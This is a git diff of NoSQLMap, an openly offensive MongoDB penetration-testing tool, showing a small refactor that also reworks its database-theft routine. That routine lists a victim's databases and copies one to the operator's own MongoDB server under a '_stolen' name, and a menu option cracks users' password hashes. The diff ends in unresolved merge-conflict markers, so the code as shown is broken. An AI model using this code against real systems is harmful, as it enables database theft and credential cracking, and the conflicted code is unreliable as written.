35
35
from hashlib import md5
36
36
from threading import Thread
37
37
38
- #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
39
- global optionSet
40
- optionSet = [False ,False ,False ,False ,False ,False ,False ,False ,False ]
41
- global yes_tag
42
- global no_tag
43
- yes_tag = ['y' , 'Y' ]
44
- no_tag = ['n' , 'N' ]
45
- global victim
46
- global webPort
47
- global uri
48
- global httpMethod
49
- global https
50
- global myIP
51
- global myPort
52
- global verb
53
- global scanNeedCreds
54
- global dbPort
55
- dbPort = 27017
56
38
39
+ def main ():
40
+ signal .signal (signal .SIGINT , signal_handler )
41
+ global optionSet
42
+ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
43
+ optionSet = [False ,False ,False ,False ,False ,False ,False ,False ,False ]
44
+ global yes_tag
45
+ global no_tag
46
+ yes_tag = ['y' , 'Y' ]
47
+ no_tag = ['n' , 'N' ]
48
+ global victim
49
+ global webPort
50
+ global uri
51
+ global httpMethod
52
+ global https
53
+ global myIP
54
+ global myPort
55
+ global verb
56
+ global scanNeedCreds
57
+ global dbPort
58
+ dbPort = 27017
59
+ mainMenu ()
60
+
57
61
def mainMenu ():
58
62
mmSelect = True
59
63
while mmSelect :
@@ -67,7 +71,7 @@ def mainMenu():
67
71
print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |"
68
72
print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/"
69
73
print "===================================================="
70
- print "NoSQLMap-v0.4 "
74
+ print "NoSQLMap-v0.4a "
71
75
72
76
print "\n "
73
77
print "1-Set options"
@@ -486,8 +490,11 @@ def netAttacks(target):
486
490
enumGrid (conn )
487
491
488
492
if attack == "4" :
489
- print "\n "
490
- stealDBs (myIP ,conn )
493
+ if optionSet [4 ] == False :
494
+ print "Target database not set!"
495
+ else :
496
+ print "\n "
497
+ stealDBs (myIP ,conn )
491
498
492
499
if attack == "5" :
493
500
print "\n "
@@ -1439,10 +1446,11 @@ def buildUri(origUri, randValue):
1439
1446
1440
1447
def stealDBs (myDB ,mongoConn ):
1441
1448
dbList = mongoConn .database_names ()
1449
+ dbLoot = True
1442
1450
menuItem = 1
1443
1451
if optionSet [4 ] == False :
1444
- raw_input ("No destination database set! Press enter to return to the main menu ." )
1445
- mainMenu ()
1452
+ raw_input ("No destination database set! Press enter to return." )
1453
+ return
1446
1454
1447
1455
if len (dbList ) == 0 :
1448
1456
print "Can't get a list of databases to steal. The provided credentials may not have rights."
@@ -1452,22 +1460,20 @@ def stealDBs(myDB,mongoConn):
1452
1460
print str (menuItem ) + "-" + dbName
1453
1461
menuItem += 1
1454
1462
1455
- try :
1463
+ while dbLoot :
1456
1464
dbLoot = raw_input ("Select a database to steal:" )
1457
-
1458
- except :
1459
- print "Invalid selection."
1460
- stealDBs (myDB )
1465
+
1466
+ if int (dbLoot ) > menuItem :
1467
+ print "Invalid selection."
1468
+
1469
+ else :
1470
+ break
1461
1471
1462
1472
try :
1463
1473
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
1464
1474
dbNeedCreds = raw_input ("Does this database require credentials (y/n)? " )
1465
1475
1466
1476
if dbNeedCreds in no_tag :
1467
- if optionSet [4 ] == False :
1468
- raw_input ("No IP specified to copy to! Press enter to return to main menu..." )
1469
- return
1470
-
1471
1477
myDBConn = pymongo .MongoClient (myDB ,27017 )
1472
1478
myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
1473
1479
@@ -1488,8 +1494,8 @@ def stealDBs(myDB,mongoConn):
1488
1494
else :
1489
1495
return
1490
1496
1491
- except :
1492
- if str (sys . exc_info () ).find ('text search not enabled' ) != - 1 :
1497
+ except Exception , e :
1498
+ if str (e ).find ('text search not enabled' ) != - 1 :
1493
1499
raw_input ("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return..." )
1494
1500
return
1495
1501
@@ -1536,8 +1542,8 @@ def accessCheck(ip,port,pingIt):
1536
1542
conn .disconnect ()
1537
1543
return [0 ,dbVer ]
1538
1544
1539
- except :
1540
- if str (sys . exc_info () ).find ('need to login' ) != - 1 :
1545
+ except Exception , e :
1546
+ if str (e ).find ('need to login' ) != - 1 :
1541
1547
conn .disconnect ()
1542
1548
return [1 ,None ]
1543
1549
@@ -1979,7 +1985,7 @@ def getDBInfo():
1979
1985
menuItem += 1
1980
1986
1981
1987
userIndex = raw_input ("Select user hash to crack: " )
1982
- dict_pass (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
1988
+ passCrack (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
1983
1989
1984
1990
crackHash = raw_input ("Crack another hash (y/n)?" )
1985
1991
raw_input ("Press enter to continue..." )
@@ -1991,5 +1997,10 @@ def signal_handler(signal, frame):
1991
1997
print "CTRL+C detected. Exiting."
1992
1998
sys .exit ()
1993
1999
2000
+ < << << << HEAD
1994
2001
signal .signal (signal .SIGINT , signal_handler )
1995
2002
mainMenu ()
2003
+ == == == =
2004
+ if __name__ == '__main__' :
2005
+ main ()
2006
+ > >> >> >> 0.4
0 commit comments